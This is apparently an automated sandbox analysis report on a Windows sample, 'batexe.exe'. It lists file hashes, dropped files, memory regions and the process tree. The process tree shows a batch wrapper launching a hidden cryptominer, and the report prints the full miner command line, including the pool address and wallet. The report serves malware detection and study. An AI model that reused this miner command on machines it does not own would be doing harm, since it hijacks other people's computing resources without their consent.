73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
292s
max time network
297s
platform
windows10-1703_x64
resource
win10-20240221-ja
resource tags

arch:x64arch:x86image:win10-20240221-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
23/02/2024, 05:41

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
1164	b2e.exe
4920	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
4920	cpuminer-sse2.exe
4920	cpuminer-sse2.exe
4920	cpuminer-sse2.exe
4920	cpuminer-sse2.exe
4920	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1428-5-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1428 wrote to memory of 1164	1428	batexe.exe	73
PID 1428 wrote to memory of 1164	1428	batexe.exe	73
PID 1428 wrote to memory of 1164	1428	batexe.exe	73
PID 1164 wrote to memory of 2384	1164	b2e.exe	74
PID 1164 wrote to memory of 2384	1164	b2e.exe	74
PID 1164 wrote to memory of 2384	1164	b2e.exe	74
PID 2384 wrote to memory of 4920	2384	cmd.exe	77
PID 2384 wrote to memory of 4920	2384	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1428
- C:\Users\Admin\AppData\Local\Temp\AF6A.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\AF6A.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\AF6A.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1164
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\B391.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2384
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:4920

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\AF6A.tmp\b2e.exe

Filesize
3.6MB

MD5
a202c43df284047b4026052f2015b382

SHA1
531129cc3cff7410080574b0fd1f8404c8c343d6

SHA256
22e0189ee48633fcbb780d8ce081c027adcfd289ce6b90e0dddf506b78a59a66

SHA512
03192f196ccd2100255c1fad56bd14019876f87509f7215f1af469e93a9e4a8686d7bd18a1273d46e05711d1017a87948b4299a6d4597fa66001b29ee310cea2

Download Submit
C:\Users\Admin\AppData\Local\Temp\AF6A.tmp\b2e.exe

Filesize
4.3MB

MD5
5ac366b1a62aae208d94b1799187c7bd

SHA1
f278124df281cd9e077f4a519a1694496ca48b7f

SHA256
92b635f3be6689ce10b82c07c6e010a3aeb09eb1fc38cb8b2c007eb79d23f899

SHA512
c8cd7be8a65865d97e3c9b15f7c1f1c2da3ef70b749d90e892d0b86a2069d9c6775b518c612493f6f0866f735b0e41b2bc0a55710d40e37ca1f4203321b55703

Download Submit
C:\Users\Admin\AppData\Local\Temp\B391.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.7MB

MD5
9385a125d4a859d3647bee658e5114ef

SHA1
347958caf8dac4d7a1780c905f02d5041fe01617

SHA256
39085ef3554d0510a2505b0ecc20ee0a94ee5e65a5decde9ce9db9092f8ad753

SHA512
3a4b5108d4e74d92b5161f2101433c7be6c1e02a302e8e6e72a60df854e45ed3bbad9224f1ad9a31a21d920eaa9f9c99995fb592161447cc4718be104f5a14d1

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
64KB

MD5
42871db599b90c630b2d75268c8b0116

SHA1
fb3a97b9517d4abe248a7c1a0fe0f528f40b29bc

SHA256
80110dd27dac90724987601037bc7d4bccdce1afd95aeffbfd8cacd813b891cb

SHA512
c32a1b46ab54abcaf179759b2aaa5aeec58a353ebe552b09ce1980ab54a9c702ae1e348c2a9c2020f74fa7c7bfb4d4bac78396f76b6bac04227436deca800438

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.4MB

MD5
14d44de2a376b1198061fc01858e2b2d

SHA1
8a1b58e76c5e430eb5ff096dbf2a38f26dca3374

SHA256
8f5659ad955880f7cab780654c4de0e32e7891d156f9c13162c7eca5a930da70

SHA512
bd606f91db78afeee442dca17ee6d96d49af8498d746e622e882ce5350dbe170d089fe9c3e3d58ac533e05a49c97a685087395e74d28499aaf28deef66c3486c

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.4MB

MD5
6209d231684a8f2e5e435f52c37246d1

SHA1
b86fbebd13d623ebc5765543b2ef075f41e57c7c

SHA256
d63535da6cdab2c1a2fe1620c6a418ba16e60f52545f5719bb88e7313f63de9c

SHA512
9d4d2d39827ebd76373a3cb02ccdc6b70737b4842aa9e9949f3c411502feda78d8c60e0612261f2b0491c928f3807c5d43030fae8d7192f265cd42fa356c9f09

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1164-6-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1164-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1428-5-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4920-43-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/4920-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4920-42-0x0000000050730000-0x00000000507C8000-memory.dmp

Filesize
608KB

Download
memory/4920-44-0x0000000000D40000-0x00000000025F5000-memory.dmp

Filesize
24.7MB

Download
memory/4920-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4920-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4920-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4920-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/4920-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4920-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4920-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4920-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4920-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4920-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/4920-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download